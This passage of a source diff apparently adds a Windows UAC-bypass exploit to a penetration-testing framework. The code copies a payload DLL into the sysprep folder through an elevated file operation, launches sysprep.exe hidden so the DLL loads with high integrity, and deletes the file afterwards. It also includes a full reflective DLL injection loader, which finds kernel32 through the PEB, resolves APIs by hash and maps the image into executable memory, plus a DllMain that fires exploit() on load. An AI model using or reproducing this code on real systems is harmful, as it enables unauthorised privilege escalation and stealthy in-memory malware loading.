if (pFileOp->CopyItem(pSHISource, pSHIDestination, szElevDll, NULL) == S_OK)
{
/* Copy the DLL file to the sysprep folder*/
if (pFileOp->PerformOperations() == S_OK)
{
/* Execute sysprep.exe */
SHELLEXECUTEINFOW shinfo;
ZeroMemory(&shinfo, sizeof(shinfo));
shinfo.cbSize = sizeof(shinfo);
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
shinfo.lpFile = szElevExeFull;
shinfo.lpParameters = szElevArgs;
shinfo.lpDirectory = szElevDir;
shinfo.nShow = SW_HIDE;
if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL)
{
WaitForSingleObject(shinfo.hProcess, 50);
TerminateProcess(shinfo.hProcess, 0); // Even better if the template payload.dll calls ExitProcess
CloseHandle(shinfo.hProcess);
}
/* Delete copied file - This doesn't appear to work in SYSWOW64 despite disabling the redirect?? */
if (S_OK == SHCreateItemFromParsingName(szElevDllFull, NULL, *pIID_ShellItem2, (void**) &pSHIDelete))
if (0 != pSHIDelete)
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
{
pFileOp->PerformOperations();
}
}
}
}
}
}
}
}
}

8
external/source/exploits/bypassuac_injection/dll/src/Exploit.h vendored Normal file
View File

@ -0,0 +1,8 @@
#include <Windows.h>
#include <commctrl.h>
#include <shlobj.h>
#include <Shellapi.h>
#include <stdio.h>
#include <guiddef.h>
EXTERN_C void exploit();

51
external/source/exploits/bypassuac_injection/dll/src/ReflectiveDLLInjection.h vendored Normal file
View File

@ -0,0 +1,51 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
// we declare some common stuff in here...
#define DLL_QUERY_HMODULE 6
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)
typedef DWORD (WINAPI * REFLECTIVELOADER)( VOID );
typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
#define DLLEXPORT __declspec( dllexport )
//===============================================================================================//
#endif
//===============================================================================================//

25
external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c vendored Normal file
View File

@ -0,0 +1,25 @@
#include "ReflectiveLoader.h"
#include "Exploit.h"
extern HINSTANCE hAppInstance;
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
exploit();
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}

496
external/source/exploits/bypassuac_injection/dll/src/ReflectiveLoader.c vendored Normal file
View File

@ -0,0 +1,496 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "ReflectiveLoader.h"
//===============================================================================================//
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
HINSTANCE hAppInstance = NULL;
//===============================================================================================//
#pragma intrinsic( _ReturnAddress )
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
// available (and no inline asm available under x64).
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
//===============================================================================================//
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
// otherwise the DllMain at the end of this file will be used.
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
// This is our position independent reflective DLL loader/injector
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
#else
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )
#endif
{
// the functions we need
LOADLIBRARYA pLoadLibraryA = NULL;
GETPROCADDRESS pGetProcAddress = NULL;
VIRTUALALLOC pVirtualAlloc = NULL;
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
USHORT usCounter;
// the initial location of this image in memory
ULONG_PTR uiLibraryAddress;
// the kernels base address and later this images newly loaded base address
ULONG_PTR uiBaseAddress;
// variables for processing the kernels export table
ULONG_PTR uiAddressArray;
ULONG_PTR uiNameArray;
ULONG_PTR uiExportDir;
ULONG_PTR uiNameOrdinals;
DWORD dwHashValue;
// variables for loading this image
ULONG_PTR uiHeaderValue;
ULONG_PTR uiValueA;
ULONG_PTR uiValueB;
ULONG_PTR uiValueC;
ULONG_PTR uiValueD;
ULONG_PTR uiValueE;
// STEP 0: calculate our images current base address
// we will start searching backwards from our callers return address.
uiLibraryAddress = caller();
// loop through memory backwards searching for our images base address
// we dont need SEH style search as we shouldnt generate any access violations with this
while( TRUE )
{
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
{
uiHeaderValue += uiLibraryAddress;
// break if we have found a valid MZ/PE header
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
break;
}
}
uiLibraryAddress--;
}
// STEP 1: process the kernels exports for the functions our loader needs...
// get the Process Enviroment Block
#ifdef WIN_X64
uiBaseAddress = __readgsqword( 0x60 );
#else
#ifdef WIN_X86
uiBaseAddress = __readfsdword( 0x30 );
#else WIN_ARM
uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
#endif
#endif
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
// get the first entry of the InMemoryOrder module list
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
// get pointer to current modules name (unicode string)
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
// set bCounter to the length for the loop
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
// clear uiValueC which will store the hash of the module name
uiValueC = 0;
// compute the hash of the module name...
do
{
uiValueC = ror( (DWORD)uiValueC );
// normalize to uppercase if the madule name is in lowercase
if( *((BYTE *)uiValueB) >= 'a' )
uiValueC += *((BYTE *)uiValueB) - 0x20;
else
uiValueC += *((BYTE *)uiValueB);
uiValueB++;
} while( --usCounter );
// compare the hash with that of kernel32.dll
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
// loop while we still have imports to find
while( usCounter > 0 )
{
// compute the hash values for this function name
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
{
// get the VA for the array of addresses
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// store this functions VA
if( dwHashValue == LOADLIBRARYA_HASH )
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == GETPROCADDRESS_HASH )
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == VIRTUALALLOC_HASH )
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
else if( (DWORD)uiValueC == NTDLLDLL_HASH )
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 1;
// loop while we still have imports to find
while( usCounter > 0 )
{
// compute the hash values for this function name
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
{
// get the VA for the array of addresses
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// store this functions VA
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
// we stop searching when we have found everything we need.
if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
break;
// get the next entry
uiValueA = DEREF( uiValueA );
}
// STEP 2: load our image into a new permanent location in memory...
// get the VA of the NT Header for the PE to be loaded
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
// we must now copy over the headers
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
while( uiValueA-- )
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
// STEP 3: load in all of our sections...
// uiValueA = the VA of the first section
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
// itterate through all sections, loading them into memory.
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
// uiValueB is the VA for this section
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
// uiValueC if the VA for this sections data
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
// copy the section over
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
while( uiValueD-- )
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
// get the VA of the next section
uiValueA += sizeof( IMAGE_SECTION_HEADER );
}
// STEP 4: process our images import table...
// uiValueB = the address of the import directory
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
// we assume their is an import table to process
// uiValueC is the first entry in the import table
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// itterate through all imports
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
{
// use LoadLibraryA to load the imported module into memory
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
// uiValueD = VA of the OriginalFirstThunk
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
// itterate through all imported functions, importing by ordinal if no name present
while( DEREF(uiValueA) )
{
// sanity check uiValueD as some compilers only import by FirstThunk
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
{
// get the VA of the modules NT Header
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of addresses
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use the import ordinal (- export ordinal base) as an index into the array of addresses
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
// patch in the address for this imported function
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
// get the VA of this functions import by name struct
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
// use GetProcAddress and patch in the address for this imported function
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
}
// get the next imported function
uiValueA += sizeof( ULONG_PTR );
if( uiValueD )
uiValueD += sizeof( ULONG_PTR );
}
// get the next import
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}
// STEP 5: process all of our images relocations...
// calculate the base address delta and perform relocations (even if we load at desired image base)
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
// uiValueB = the address of the relocation directory
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
// check if their are any relocations present
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// and we itterate through all entries...
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
{
// uiValueA = the VA for this relocation block
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
// uiValueB = number of entries in this relocation block
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
// uiValueD is now the first entry in the current relocation block
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
// we itterate through all the entries in the current block...
while( uiValueB-- )
{
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
// we dont use a switch statement to avoid the compiler building a jump table
// which would not be very position independent!
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
#ifdef WIN_ARM
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )
{
register DWORD dwInstruction;
register DWORD dwAddress;
register WORD wImm;
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );
// flip the words to get the instruction as expected
dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
// sanity chack we are processing a MOV instruction...
if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )
{
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
wImm = (WORD)( dwInstruction & 0x000000FF);
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
// apply the relocation to the target address
dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF;
// now create a new instruction with the same opcode and register param.
dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 );
// patch in the relocated address...
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
// now flip the instructions words and patch back into the code...
*(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
}
}
#endif
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
// get the next entry in the current relocation block
uiValueD += sizeof( IMAGE_RELOC );
}
// get the next entry in the relocation directory
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
// STEP 6: call our images entry point
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
// call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
// if we are injecting an DLL via a stub we call DllMain with no parameter
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
#endif
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
return uiValueA;
}
//===============================================================================================//
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
#endif
//===============================================================================================//

203
external/source/exploits/bypassuac_injection/dll/src/ReflectiveLoader.h vendored Normal file
View File

@ -0,0 +1,203 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <Winsock2.h>
#include <intrin.h>
#include "ReflectiveDLLInjection.h"
typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG );
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define NTDLLDLL_HASH 0x3CFA685D
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
#define IMAGE_REL_BASED_ARM_MOV32A 5
#define IMAGE_REL_BASED_ARM_MOV32T 7
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
#define ARM_MOVW 0xF2400000
#define ARM_MOVT 0xF2C00000
#define HASH_KEY 13
//===============================================================================================//
#pragma intrinsic( _rotr )
__forceinline DWORD ror( DWORD d )
{
return _rotr( d, HASH_KEY );
}
__forceinline DWORD hash( char * c )
{
register DWORD h = 0;
do
{
h = ror( h );
h += *c;
} while( *++c );
return h;
}
//===============================================================================================//
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, *PUNICODE_STR;
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
//__declspec( align(8) )
typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
